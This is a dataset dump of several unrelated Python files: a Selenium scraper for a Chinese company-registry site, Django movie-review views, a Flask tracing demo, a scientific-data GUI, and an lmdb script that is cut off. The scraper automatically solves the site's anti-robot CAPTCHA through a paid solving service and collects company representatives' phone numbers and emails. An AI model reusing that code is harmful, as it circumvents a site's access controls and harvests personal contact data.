time.sleep(2)\n return self.driver\n\n def search_company(self,key):\n # time.sleep(1)\n # content = self.driver.page_source.encode('utf-8')\n # doc = etree.HTML(content)\n # company_link = doc.xpath(\"//*[@id='web-content']/div/div[1]/div[3]/div[1]/div[2]/div[1]/div/a[2]/@href\")[0]\n self.driver.get(\"https://www.tianyancha.com/search/ohp1?key=\" + quote(key))\n # self.driver.find_element_by_xpath(\"\").click()\n content = self.driver.page_source.encode('utf-8')\n doc = etree.HTML(content)\n time.sleep(0.5)\n divs = doc.xpath(\"//div[@class='folder-body']/div[3]/div[@class='scope-box scope-content-box']/a\")\n if len(divs) > 0:\n for div in divs[22:]:\n link = div.xpath(\"./@href\")[0]\n print(link)\n self.get_city(link)\n time.sleep(2)\n else:\n self.get_city(\"https://www.tianyancha.com/search?searchType=company&key=%E5%9F%B9%E8%AE%AD&base=tw\")\n # 这是台湾\n return self.driver\n\n def get_city(self,shen_link):\n self.driver.get(shen_link)\n doc = etree.HTML(self.driver.page_source.encode('utf-8'))\n city_list = doc.xpath(\"//div[@class='folder-body']/div[@class='filter-scope -expand']/div[@class='scope-box']/a\")\n # if len(city_list) == 1:\n # city_list = doc.xpath(\"//*[@id='prov_box']/div[2]/div[2]/div[@class='item']\")\n # else:\n # city_list = doc.xpath(\"//*[@id='prov_box']/div[2]/div[2]/div[@class='item'and position()>1]\")\n for city in city_list:\n city_link = city.xpath(\"./@href\")[0]\n time.sleep(random.uniform(1,2))\n print(city_link)\n self.parse(city_link)\n return self.driver\n\n def parse(self,link): # 常规解析 xpath\n self.driver.get(link)\n html = self.driver.page_source\n time.sleep(1)\n self.zym(html)\n doc = etree.HTML(self.driver.page_source)\n script_obj = doc.xpath(\"//script[@id='_seach_obj']/text()\")\n script_obj = script_obj[0] if len(script_obj) > 0 else None\n if script_obj:\n script_data = json.loads(script_obj)\n city = script_data[\"base\"][\"name\"]\n else:\n city = None\n divs= doc.xpath(\"//div[@class='result-list sv-search-container']/div[@class='search-item sv-search-company']\")\n for div in divs:\n item = {}\n item[\"城市\"] = city\n name = div.xpath(\".//div[@class='content']/div[@class='header']/a//text()\")\n item['企业名称'] = ''.join(name) if len(name) > 0 else None\n link = div.xpath(\".//div[@class='content']/div[@class='header']/a/@href\")\n item['网址链接'] = link[0] if len(link) > 0 else None\n fa = div.xpath(\".//div[@class='content']/div[@class='info row text-ellipsis']/div[1]/a/text()\")\n item['法人代表'] = fa[0] if len(fa) else \"未公开\"\n money = div.xpath(\".//div[@class='content']/div[@class='info row text-ellipsis']/div[2]/span/text()\")\n item['注册资金'] = money[0] if len(money) > 0 else \"未公开\"\n date = div.xpath(\".//div[@class='content']/div[@class='info row text-ellipsis']/div[3]/span/text()\")\n item['成立时间'] = date[0] if len(date) > 0 else \"未公开\"\n status = div.xpath(\".//div[@class='content']/div[@class='header']/div[@class='tag-common -normal-bg']/text()\")\n item['状态'] = status[0] if len(status) > 0 else \"未公开\"\n # city_ret = re.compile(r'城市:(.*?) ')\n # data = re.findall(city_ret, self.driver.page_source)\n # city = data[0] if len(data) > 0 else None\n # item[\"城市\"] = city\n score = div.xpath(\".//span[@class='score-num']/text()\")\n item[\"评分\"] = score[0] if len(score) > 0 else None\n Additional = div.xpath(\".//div[@class='content']/div[@class='match row text-ellipsis']//text()\")\n item[\"附加信息\"] = ''.join(Additional) if len(Additional) > 0 else None\n\n\n\n desc = div.xpath(\".//div[@class='content']/div[@class='contact row ']/div\")\n if len(desc) == 2:\n if desc[0].xpath(\".//span[@class='link-click']\") and desc[1].xpath(\"./span[@class='link-click']\"): # 查看更多\n tel = desc[0].xpath(\"./script/text()\")\n e = desc[1].xpath(\"./script/text()\")\n item['联系电话'] = tel[0]\n item['邮箱'] = e[0]\n elif desc[0].xpath(\".//span[@class='link-click']\") and not desc[1].xpath(\"./span[@class='link-click']\"):\n tel = desc[0].xpath(\"./script/text()\")\n e = desc[1].xpath(\"./span[2]/text()\")\n item['联系电话'] = tel[0]\n item['邮箱'] = e[0]\n\n elif not desc[0].xpath(\".//span[@class='link-click']\") and desc[1].xpath(\"./span[@class='link-click']\"):\n tel = desc[0].xpath(\"./span/span/text()\")\n e = desc[1].xpath(\"./script/text()\")\n item['联系电话'] = tel[0]\n item['邮箱'] = e[0]\n\n elif not desc[0].xpath(\".//span[@class='link-click']\") and not desc[1].xpath(\"./span[@class='link-click']\"):\n tel = desc[0].xpath(\"./span/span/text()\")\n e = desc[1].xpath(\"./span[2]/text()\")\n item['联系电话'] = tel[0]\n item['邮箱'] = e[0]\n\n elif len(desc) == 1:\n if desc[0].xpath(\"./span/span[@class='link-click']\"):\n tel = desc[0].xpath(\"./script/text()\")\n item['联系电话'] = tel[0]\n item['邮箱'] = '暂无信息'\n\n elif desc[0].xpath(\"./span[@class='link-click']\"):\n e = desc[0].xpath(\"./script/text()\")\n item['联系电话'] = '暂无信息'\n item['邮箱'] = e[0]\n\n elif not desc[0].xpath(\"./span/span[@class='link-click']\"):\n tel = desc[0].xpath(\"./span/span/text()\")\n item['联系电话'] = tel[0]\n item['邮箱'] = '暂无信息'\n\n elif not desc[0].xpath(\"./span[@class='link-click']\"):\n e = desc[0].xpath(\"./span[2]/text()\")\n item['邮箱'] = e[0]\n item['联系电话'] = '暂无信息'\n elif len(desc) == 0:\n continue\n\n print(item)\n self.save_to_mongo(self.key,item)\n\n\n try:\n next_page = doc.xpath(\"//ul[@class='pagination']/li/a[@class='num -next']/@href\")[0]\n time.sleep(0.5)\n if next_page:\n print('当前link',next_page)\n return self.parse(next_page)\n else:\n next_page = doc.xpath(\"//ul[@class='pagination']/li/a[@class='num -next']/@href\")[0]\n print('当前link', next_page)\n return self.parse(next_page)\n except:\n # print(\"页面枯竭 \")\n pass\n\n # 11位手机号码优先 其次是带有区号的固定号码 最后是8位或者7位的固定号码\n def is_11(self,tel):\n # print(tel)\n try:\n if len(tel[0]) == 11:\n pl = tel[0]\n # print(pl)\n return pl\n else:\n a, b, c = [], [], []\n we = json.loads(tel[0])\n for i in we:\n if len(i) == 11:\n a.append(i)\n if '-' in i:\n b.append(i)\n if len(i) == 8 or len(i) == 7:\n c.append(i)\n if len(a) > 0:\n pl = a[0]\n # print(pl)\n return pl\n else:\n if len(b) > 0:\n pl = b[0]\n # print(pl)\n return pl\n else:\n if len(c) > 0:\n pl = c[0]\n # print(pl)\n return pl\n except JSONDecodeError:\n pass\n\n # 详情页 改版后已经失效\n def detail_page(self):\n pass\n\n def save_to_mongo(self,name,data):\n if self.db[name].update({'企业名称': data['企业名称']}, {'$set': data}, True):\n print('Save to Mongo', data['企业名称'])\n else:\n print('Saved to Mongo Failed', data['企业名称'])\n\n def zym(self,html,link=None):\n time.sleep(1)\n if '我们只是确认一下你不是机器人' in html:\n one = self.driver.find_element_by_xpath(\"//div[@class='box2']/div[@class='new-box94']\")\n print(one)\n location = one.location\n size = one.size\n print(location)\n print(size)\n top, bottom, left, right = location['y'], location['y'] + size['height'], location['x'], location['x'] + \\\n size['width']\n top = int(top)\n bottom = int(bottom)\n left = int(left)\n right = int(right)\n print('验证码位置', top, bottom, left, right)\n screenshot = self.driver.get_screenshot_as_png()\n screenshot = PIL.Image.open(io.BytesIO(screenshot))\n captcha = screenshot.crop((left, top, right, bottom))\n captcha.save('hh.png')\n # time.sleep(1)\n code = chaojiying.get_code()\n print(code)\n locations = [[int(number) for number in group.split(',')] for group in code]\n for location in locations:\n print(location)\n selenium.webdriver.ActionChains(self.driver).move_to_element_with_offset(one, location[0], location[1]).click().perform()\n time.sleep(1)\n sub = self.driver.find_element_by_xpath(\"//*[@id='submitie']\")\n sub.click()\n time.sleep(2)\n html = self.driver.page_source\n if '我们只是确认一下你不是机器人' in html:\n return self.zym(html)\n else:\n return self.driver\n\nif __name__ == '__main__':\n for key in [\"净水机\"]:\n t = Tianyancha('', '', key)\n t.log_in()\n t.search_key(key)\n t.search_company(key)\n","sub_path":"new_tianyancha.py","file_name":"new_tianyancha.py","file_ext":"py","file_size_in_byte":13257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"654513091","text":"import requests\n\n# 영진위 api\nfrom .movie_api import URLMaker_kobis, URLMaker_naver\n\n# 크롤링\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nfrom urllib.parse import quote\n\nfrom django.shortcuts import get_object_or_404\n\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\n\nfrom rest_framework.decorators import authentication_classes, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\nfrom .serializers import MovieSerializer, ReviewSerializer, PeopleSerializer, UserMovieScoreSerializer, CommentSerializer\nfrom .models import Movie, Review, People, UserMovieScore, Comment\n\n\n@api_view(['GET', 'POST'])\ndef movie_list_create(request):\n # 영화 data 불러오기\n if request.method == 'GET':\n movies = Movie.objects.all()\n serializer = MovieSerializer(movies, many=True)\n return Response(serializer.data)\n else:\n # 영화 data 만들기\n for curPage in range(1, 50):\n # 영화인 목록 url 저장\n um = URLMaker_kobis()\n url = um.get_url('movie', 'searchMovieList')\n\n # API에 요청\n r = requests.get(f'{url}&curPage={curPage}')\n\n # API에 응답, movies에 data저장\n movies_dict = r.json()\n for idx in range(10):\n movie = movies_dict.get('movieListResult').get('movieList')[idx]\n if movie['companys']:\n movie['companys'] = movies_dict.get('movieListResult').get('movieList')[idx].get('companys')[0]['companyNm']\n else:\n movie['companys'] = ''\n\n movieNm = quote(movie['movieNm'])\n response = urlopen(f'https://search.naver.com/search.naver?sm=tab_hty.top&where=nexearch&query={movieNm}+{quote(\"영화\")}')\n soup = BeautifulSoup(response, 'html.parser')\n\n # 포스터 추가\n try:\n movie['posterSrc'] = str(soup.select(\"a.thumb._item\")[0].find('img')['src'])\n except:\n continue\n\n # 관객 수 추가\n try:\n for people in soup.select(\"dl div.info_group dd\"):\n if people.get_text()[-1] == '명':\n movie['popularity'] = people.get_text()\n break\n except:\n pass\n\n # 줄거리 추가\n try: movie['story'] = soup.select(\"div.text_expand._ellipsis span\")[0].get_text()\n except: pass\n\n # movie data 저장\n serializer = MovieSerializer(data=movie)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n\n # 감독, 배우 가져오기\n movieObj = get_object_or_404(Movie, pk=movie['movieCd'])\n try:\n peoples = soup.select(\"div.cm_info_box.scroll_img_vertical_87_98 div.area_card\")\n for people in peoples:\n name = people.find(\"strong\").get_text()\n # 만약 이미 있는 배우라면\n if not People.objects.filter(name=name).exists():\n try:\n role = people.find(\"span\").get_text()\n if role not in ['감독', '각본']:\n role = '배우'\n except: role = '배우'\n photo = people.find(\"img\")[\"src\"]\n if photo[:4] == 'data': photo = '이미지 없음'\n serializer = PeopleSerializer(data={\"name\": name, \"role\": role, \"photo\": photo})\n print('시리얼라이저 직전')\n if serializer.is_valid(raise_exception=True):\n print('시리얼라이저 벨리드')\n serializer.save()\n\n # 영화와 인물 ManytoMany 매칭\n people = get_object_or_404(People, name=name)\n print('people 불러오기 완료')\n people.movies.add(movieObj)\n print('성공')\n\n except:\n print('실패')\n print(movieObj)\n\n\n movies = Movie.objects.all()[::-1]\n serializer = MovieSerializer(movies, many=True)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n \n# 영화 평점 불러오기, 만들기\n# 만들기\n@api_view(['POST'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef movie_score_create(request):\n serializer = UserMovieScoreSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n\n\n# 불러오기\n@api_view(['GET'])\ndef movie_score_list(request, movie_pk):\n if request.method == 'GET':\n scores = UserMovieScore.objects.filter(movie=movie_pk)\n serializer = UserMovieScoreSerializer(scores, many=True)\n return Response(serializer.data)\n\n\n# 영화평점 싹다 가져오기\n@api_view(['GET'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef movie_score(request):\n if request.method == 'GET':\n scores = UserMovieScore.objects.filter(user=request.user)\n serializer = UserMovieScoreSerializer(scores, many=True)\n return Response(serializer.data)\n\n\n# 영화평점 UD\n@api_view(['PATCH', 'DELETE'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef movie_score_update_delete(request, movie_pk):\n score = get_object_or_404(UserMovieScore, movie=movie_pk)\n\n if request.method == 'PUT':\n serializer = UserMovieScoreSerializer(score, data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n else:\n print('###')\n score.delete()\n return Response({ '영화 평점이 삭제되었습니다' })\n\n\n# 영화인 불러오기, 만들기\n@api_view(['GET'])\ndef people_list(request):\n # 불러오기\n peoples = People.objects.all()\n serializer = PeopleSerializer(peoples, many=True)\n return Response(serializer.data)\n\n\n# 영화인, 영화 테이블 보내기\n# def people_movies(request):\n\n\n\n# 리뷰 C\n@api_view(['POST'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef review_create(request):\n serializer = ReviewSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save(user=request.user)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\n# 리뷰 R\n@api_view(['GET'])\ndef review_list(request, movie_pk):\n movie = get_object_or_404(Movie, pk=movie_pk)\n if request.method == 'GET':\n reviews = Review.objects.filter(movie=movie)\n serializer = ReviewSerializer(reviews, many=True)\n return Response(serializer.data)\n\n\n# 리뷰 UD\n@api_view(['PUT', 'DELETE'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef review_update_delete(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n\n if not request.user.reviews.filter(pk=review_pk).exists():\n return Response({'detail': '권한이 없습니다.'})\n\n if request.method == 'PUT':\n serializer = ReviewSerializer(review, data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n else:\n review.delete()\n return Response({ 'id': review_pk })\n\n\n# 리뷰 좋아요\n@api_view(['POST'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef review_like(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n if review.like_users.filter(pk=request.user.pk).exists():\n review.like_users.remove(request.user)\n return Response({'리뷰 좋아요가 취소되었습니다.'})\n else:\n review.like_users.add(request.user)\n return Response({'리뷰 좋아요가 완료되었습니다.'})\n\n\n# 코멘트 C\n@api_view(['POST'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef comment_create(request):\n serializer = CommentSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save(user=request.user)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\n# 코멘트 R\n@api_view(['GET'])\ndef comment_list(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n comments = Comment.objects.filter(review=review)\n serializer = CommentSerializer(comments, many=True)\n return Response(serializer.data)\n\n\n# 코멘트 UD\n@api_view(['PUT', 'DELETE'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef comment_update_delete(request, comment_pk):\n comment = get_object_or_404(Comment, pk=comment_pk)\n\n if not request.user.comments.filter(pk=comment_pk).exists():\n return Response({'detail': '권한이 없습니다.'})\n\n if request.method == 'PUT':\n serializer = CommentSerializer(comment, data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n else:\n comment.delete()\n return Response({ 'delete id': comment_pk })","sub_path":"drf_server/movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"530269191","text":"import os\nimport config\nimport time\nfrom flask import Flask, request\nfrom aws_xray_sdk.core import patch_all, xray_recorder\nfrom aws_xray_sdk.ext.flask.middleware import XRayMiddleware\n\napp = Flask(__name__)\n\nxray_recorder.configure(\n context_missing='LOG_ERROR',\n service=config.XRAY_APP_NAME,\n)\npatch_all()\n\nXRayMiddleware(app, xray_recorder)\n\n@app.route('/ping')\ndef ping():\n return 'Pong'\n\n@app.route('/')\ndef color():\n print('----------------')\n print(request.headers)\n print('----------------')\n time.sleep(config.TIMEOUT_VALUE)\n return config.COLOR\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=config.PORT, debug=config.DEBUG_MODE)\n","sub_path":"walkthroughs/howto-k8s-timeout-policy/colorapp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"620309829","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 02 10:48:40 2016\n\n@author: mpederse\n\"\"\"\n\n# TO DO - inspect outliers, as funbtion of frame and run/folder.\n# calculate mask from binning/occurences. Flag outliers from over trend\n\n# PyQT4\nfrom PyQt4.uic import loadUiType\nfrom PyQt4 import QtCore \nfrom PyQt4.QtCore import SIGNAL\n\n# numerical libraries\nimport numpy as np\nimport seaborn as sns\nsns.set(font_scale=1.4,rc={'image.cmap': 'rainbow'})\n# HDF5 libraries\n#import h5py\n\n# different merger utilities/numerical functions\nfrom waxsStore import *\nfrom waxsRead import *\nfrom poolUtility import *\nfrom expUtility import *\nfrom OTUtility import *\nfrom plotUtility import * \nfrom plot1 import PlotWindow\nfrom plot3 import CompWindow\n#%% \n \nui_file = 'main_window.ui' \nUi_PlotWindow, QPlotWindow = loadUiType(ui_file )\nseparator = '\\\\' \n\n# *** TO DOs ***\n#\n# 1) add compatability with previous hdf5 files\n# ['-100ps', '-3ns', '-3ns_2nd', '100ps', '100ps_2nd', '1us', '1us_2nd'] - Merger does not work correctly\n\n\n\n\nclass Main(QPlotWindow, Ui_PlotWindow):\n def __init__(self):\n #QtGui.QWidget.__init__(self) from Denis program\n super(Main, self).__init__()\n self.setupUi(self)\n \n # experimental runs\n #self.connect(self.ButtonPathSelect_1, SIGNAL(\"clicked()\"), self.ActionPathSelect1)\n \n # mask\n self.connect(self.Select_mask, SIGNAL(\"clicked()\"), self.ActionMaskSelect)\n\n \n # other path settings\n #self.connect(self.ButtonPathSolute, SIGNAL(\"clicked()\"), self.solute_select)\n\n # write data\n self.connect(self.gogogo, SIGNAL(\"clicked()\"), self.Data_reduction)\n \n # standard plot\n self.connect(self.plot_standard, SIGNAL(\"clicked()\"), self.produce_standard_plot)\n \n # SVD analysis\n self.connect(self.plot_SVD_comp, SIGNAL(\"clicked()\"), self.produce_SVD_comps)\n self.connect(self.plot_low_rank, SIGNAL(\"clicked()\"), self.produce_lowRank)\n\n \n # Signal / Noise\n self.connect(self.plot_holdanal, SIGNAL(\"clicked()\"), self.produce_holdout)\n \n # Tranding analysis\n self.connect(self.plot_SVD_diffs, SIGNAL(\"clicked()\"), self.produce_SVD_diffs)\n self.connect(self.plot_Cov, SIGNAL(\"clicked()\"), self.produce_cov)\n self.connect(self.plot_Corr, SIGNAL(\"clicked()\"), self.produce_corr)\n \n # set default values / behavior\n #self.Raw_SVD_cap.setText(str(20))\n #self.lowRankCap.setText(str(4))\n #self.Destination_folder.setText('C:\\\\Users\\\\mpederse\\\\Documents\\\\Python_scripts\\\\Gui_general')\n self.inp_data_folders.setText('C:\\\\newWaxs_data\\\\run36, C:\\\\newWaxs_data\\\\run38, C:\\\\newWaxs_data\\\\run42, C:\\\\newWaxs_data\\\\run43, C:\\\\newWaxs_data\\\\run44') #, C:\\\\newWaxs_data\\\\run38, C:\\\\newWaxs_data\\\\run42')C:\\\\newWaxs_data\\\\run36\n #self.inp_data_folders.setText('\\\\\\\\unixhome\\\\ID09\\\\inhouse\\\\Victoria\\\\June_2016_Ru3Co12\\\\run57, \\\\\\\\unixhome\\\\ID09\\\\inhouse\\\\Victoria\\\\June_2016_Ru3Co12\\\\run39, \\\\\\\\unixhome\\\\ID09\\\\inhouse\\\\Victoria\\\\June_2016_Ru3Co12\\\\run40') \n #self.inp_data_folders.setText('C:\\\\newWaxs_data\\\\run38, C:\\\\newWaxs_data\\\\run42') \n #self.inp_data_folders.setText('C:\\\\newWaxs_data\\\\DCM1') \n self.inp_sample_name.setText('test3')\n self.inp_logfiles.setText('Ru3CO12.log')\n self.inp_detector_dist.setText('0.035')\n self.inp_det_binning.setText('2x2')\n self.inp_energy.setText('18')\n #self.inp_beam_pos.setText('636, 642')\n self.inp_beam_pos.setText('954.5, 960')\n self.inp_sample_thick.setText('1')\n self.inp_solvent_abs.setText('1')\n self.inp_Qmin.setText('6')\n self.inp_Qmax.setText('8')\n self.inp_reference_flag.setText('-3ns')\n self.inp_num_outl.setText('10')\n self.inp_delays_diffs.setText('-3ns')\n self.inp_delays_SN.setText('-3ns')\n #self.inp_scan_width.setText('5')\n #self.inputList.setText('100ps, 1us')\n #self.refDelay.setText('-3ns')\n #self.includeFirstLast.setCheckState(QtCore.Qt.Checked)\n \n \n # preparing global variables\n # old values! take out and check under each method!!!\n # ************* !!!!!!!!!!!!!!!! ***************\n self.Reduction_parameters = self.get_all_parameters()\n if self.hdf5_append == '':\n destination_folder = self.data_folders[-1]\n else:\n destination_folder = self.hdf5_append\n self.h5file = destination_folder + separator + self.sample_name\n #print(self.h5file) \n \n \n \n \n \n \n def Data_reduction(self):\n self.Reduction_parameters = self.get_all_parameters()\n if self.hdf5_append == '':\n destination_folder = self.data_folders[-1]\n else:\n destination_folder = self.hdf5_append\n self.h5file = destination_folder + separator + self.sample_name\n print(self.h5file) \n \n \n \n #list_folders = [string.replace(' ','').split(sep=',') for string in self.data_folders]\n run_names = [directory.split(sep=separator)[-1] for directory in self.data_folders] \n list_logfiles = self.log_files.replace(' ','').split(sep=',')\n \n \n if len(run_names) > len(list_logfiles):\n if len(list_logfiles) == 1:\n list_logfiles = np.tile(list_logfiles, len(run_names))\n else:\n raise ValueError('Please insure that logfiles are specified correctly\\nEither one for all folders or one for each folder')\n \n for num, directory in enumerate(self.data_folders):\n average_and_write(directory, list_logfiles[num], run_names[num], self.h5file, self.Reduction_parameters)\n \n reduce_data(self.h5file, self.Reduction_parameters)\n \n def produce_standard_plot(self):\n #if self.individual_datasets.checkState():\n # data_sets = str(self.inp_individual_datasets.text).replace(' ','')\n # data_sets = data_sets.split(sep=',')\n # individual_plot_data = prepare_individual_data(self.h5file, data_sets)\n \n if self.merged_plots_selected.checkState():\n plot_data = prepare_merged_data(self.h5file)\n self.plot = PlotWindow(plot_data) # new plot window set up to reviece at dictionary with entry 'path'\n self.plot.Data_reader(plot_data)\n self.plot.Add_plot()\n self.plot.show()\n \n \n def produce_SVD_comps(self):\n self.plot = CompWindow(self.h5file) # new plot window set up to reviece at dictionary with entry 'path'\n self.plot.PlotListUpdate()\n self.plot.show()\n \n def produce_lowRank(self):\n Low_rank_approx(self.h5file)\n \n def produce_SVD_diffs(self):\n self.trending_diffs_delay = str(self.inp_delays_diffs.text())\n svd_differentials(self.h5file, self.trending_diffs_delay)\n \n def produce_cov(self):\n self.trending_diffs_delay = str(self.inp_delays_diffs.text())\n cov_differentials(self.h5file, self.trending_diffs_delay)\n \n def produce_corr(self):\n self.trending_diffs_delay = str(self.inp_delays_diffs.text())\n corr_differentials(self.h5file, self.trending_diffs_delay)\n \n def produce_holdout(self):\n self.delay_SN = str(self.inp_delays_SN.text())\n hold_out_test(self.h5file, self.delay_SN)\n \n def ActionMaskSelect(self):\n folder = str(QtGui.QFileDialog.getOpenFileName())\n self.inp_detector_mask.setText(folder)\n \n def get_all_parameters(self):\n \n # variables for packing\n detector_dist = float(self.inp_detector_dist.text())\n detector_bin = str(self.inp_det_binning.text())\n Xray_energy = float(self.inp_energy.text())\n Xray_position = str(self.inp_beam_pos.text()).replace(' ','').split(sep=',')\n sample_thickness = float(self.inp_sample_thick.text())\n solvent_abs = float(self.inp_solvent_abs.text())\n norm_Qmin = float(self.inp_Qmin.text())\n norm_Qmax = float(self.inp_Qmax.text())\n reference_flag = str(self.inp_reference_flag.text())\n num_outliers = float(self.inp_num_outl.text())\n #scan_width = int(self.inp_scan_width.text())\n num_points = 800\n \n # non-packed variables\n #self.laser_spot = str(self.inp_laser_spot.text())\n #self.laser_fluence = str(self.inp_laser_fluence.text()) \n #self.sample_conc = str(self.inp_sample_conc.text()) \n self.sample_name = str(self.inp_sample_name.text()) + '.hdf5'\n self.data_folders = str(self.inp_data_folders.text()).replace(' ','').split(sep=',')\n self.log_files = str(self.inp_logfiles.text())\n self.hdf5_append = str(self.inp_append_hdf5.text())\n print(self.hdf5_append)\n #self.numb_outliers = str(self.inp_num_outl.text())\n #self.scan_width = str(self.inp_scan_width.text())\n \n exp_variable_names = ['detector_dist', 'detector_bin', 'Xray_energy', 'Xray_position',\n 'sample_thickness', 'solvent_abs', 'norm_Qmin', 'norm_Qmax', 'reference_flag', \n 'num_outliers', 'num_points'] #'scan_width'\n exp_variables = [detector_dist, detector_bin, Xray_energy, Xray_position, sample_thickness,\n solvent_abs, norm_Qmin, norm_Qmax, reference_flag, num_outliers,\n num_points] # scan_width\n Reduction_parameters = {}\n \n for num, name in enumerate(exp_variable_names):\n Reduction_parameters[name] = exp_variables[num]\n \n return Reduction_parameters\n \n\n \n \n \n \n \n\n\n\n\n#%% test function \n\nif __name__ == '__main__':\n import sys, os\n from PyQt4 import QtGui\n\n \n \n \n \n app = QtGui.QApplication(sys.argv)\n main = Main()\n main.show()\n \n \n sys.exit(app.exec_()) ","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":10128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"29304415","text":"import project\n\n\nclass DataBase:\n def __init__(self):\n self.cur = project.db.connection.cursor()\n\n def page_users(self, page, per_page, search=''):\n if search:\n args = \"%\" + search + \"%\", (page - 1) * per_page, per_page,\n sql = \"SELECT SQL_CALC_FOUND_ROWS id, name, email, status \" \\\n \"FROM user WHERE name LIKE %s LIMIT %s, %s;\"\n else:\n args = (page - 1) * per_page, per_page\n sql = \"SELECT SQL_CALC_FOUND_ROWS id, name, email, status \" \\\n \"FROM user LIMIT %s, %s;\"\n self.cur.execute(sql, args)\n page_users = self.cur.fetchall()\n self.cur.execute(\"SELECT FOUND_ROWS();\")\n total_users = self.cur.fetchone()\n return page_users, total_users\n\n def user_get(self, user_id):\n sql = \"SELECT name, email, phone, mobile_phone, status \" \\\n \"FROM user WHERE id = %s;\"\n self.cur.execute(sql, (user_id,))\n return self.cur.fetchone()\n\n def user_update(self, id, name, email, phone, mobile_phone, status):\n args = name, email, phone, mobile_phone, status, id\n query = \"UPDATE user \" \\\n \"SET name=%s, email=%s, phone=%s, mobile_phone=%s, status=%s \" \\\n \"WHERE id=%s\"\n self.cur.execute(query, args)\n project.db.connection.commit()\n\n def user_create(self, name, email, phone, mobile_phone, status):\n args = name, email, phone, mobile_phone, status\n query = \"INSERT INTO user(name, email, phone, mobile_phone, status) \" \\\n \"VALUES(%s,%s,%s,%s,%s)\"\n self.cur.execute(query, args)\n result = self.cur.lastrowid\n project.db.connection.commit()\n return result\n\n def user_courses_get(self, user_id):\n sql = \"SELECT course_id \" \\\n \"FROM user_course WHERE user_id = %s;\"\n self.cur.execute(sql, (user_id,))\n return self.cur.fetchall()\n\n def user_delete(self, user_id):\n sql = \"DELETE FROM user WHERE id = %s;\"\n self.cur.execute(sql, (user_id,))\n delete = self.cur.fetchall()\n if len(delete) == 0:\n project.db.connection.commit()\n\n def user_courses_update(self, user_id, courses_ids):\n self.cur.execute(\"DELETE FROM user_course WHERE user_id=%s\", (user_id,))\n if courses_ids:\n values = [(user_id, c_id) for c_id in courses_ids]\n self.cur.executemany(\"INSERT INTO user_course VALUES (%s, %s)\", values)\n project.db.connection.commit()\n\n def courses_get(self):\n sql = \"SELECT id, name, code \" \\\n \"FROM course;\"\n self.cur.execute(sql)\n return self.cur.fetchall()\n","sub_path":"project/user_course/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"41028128","text":"# -*- coding:utf-8 -*-\r\nimport os\r\nimport lmdb \r\nimport numpy as np\r\nimport cv2\r\nimport glob\r\nfrom matplotlib import pyplot as plt\r\nfrom tqdm import tqdm\r\nimport time\r\nimport argparse\r\n\r\n'''\r\n将生成的数据保存到lmdb缓存数据库\r\n保存的信息包括:\r\n1、字符图片 \r\n2、背景图片\r\n3、原始图片\r\n4、字符、坐标位置\r\n'''\r\nalpha = 'abcdefgh'\r\n\r\ndef random_alpha(size = 100):\r\n alpha_list = []\r\n for _ in range(size):\r\n lalpha = None\r\n sel = np.random.randint(6)\r\n if sel<=2:\r\n lalpha = np.random.choice(list(alpha), 1, replace=False)\r\n alpha_list.append(''.join(lalpha))\r\n else:\r\n lalpha = np.random.choice(list(alpha), np.random.randint(2,5), replace=False)\r\n alpha_list.append(''.join(lalpha)) \r\n # else:\r\n # lalpha = np.random.choice(list(alpha), np.random.randint(5,len(alpha)), replace=False)\r\n # alpha_list.append(''.join(lalpha)) \r\n\r\n return alpha_list\r\n\r\n\r\ndef writeCache(env, cache):\r\n with env.begin(write=True) as txn:\r\n for k, v in cache.items():\r\n txn.put(k.encode(), v)\r\n\r\n\r\n\r\ndef createCharImageCache(env, data_root, dest_dir, charImageLists):\r\n\r\n for key, value in charImageLists.items():\r\n cache = {}\r\n print(f'import {key} char clip image data ', len(value))\r\n print(os.path.sep.join([data_root, dest_dir, key, value[0]])) \r\n for idx in 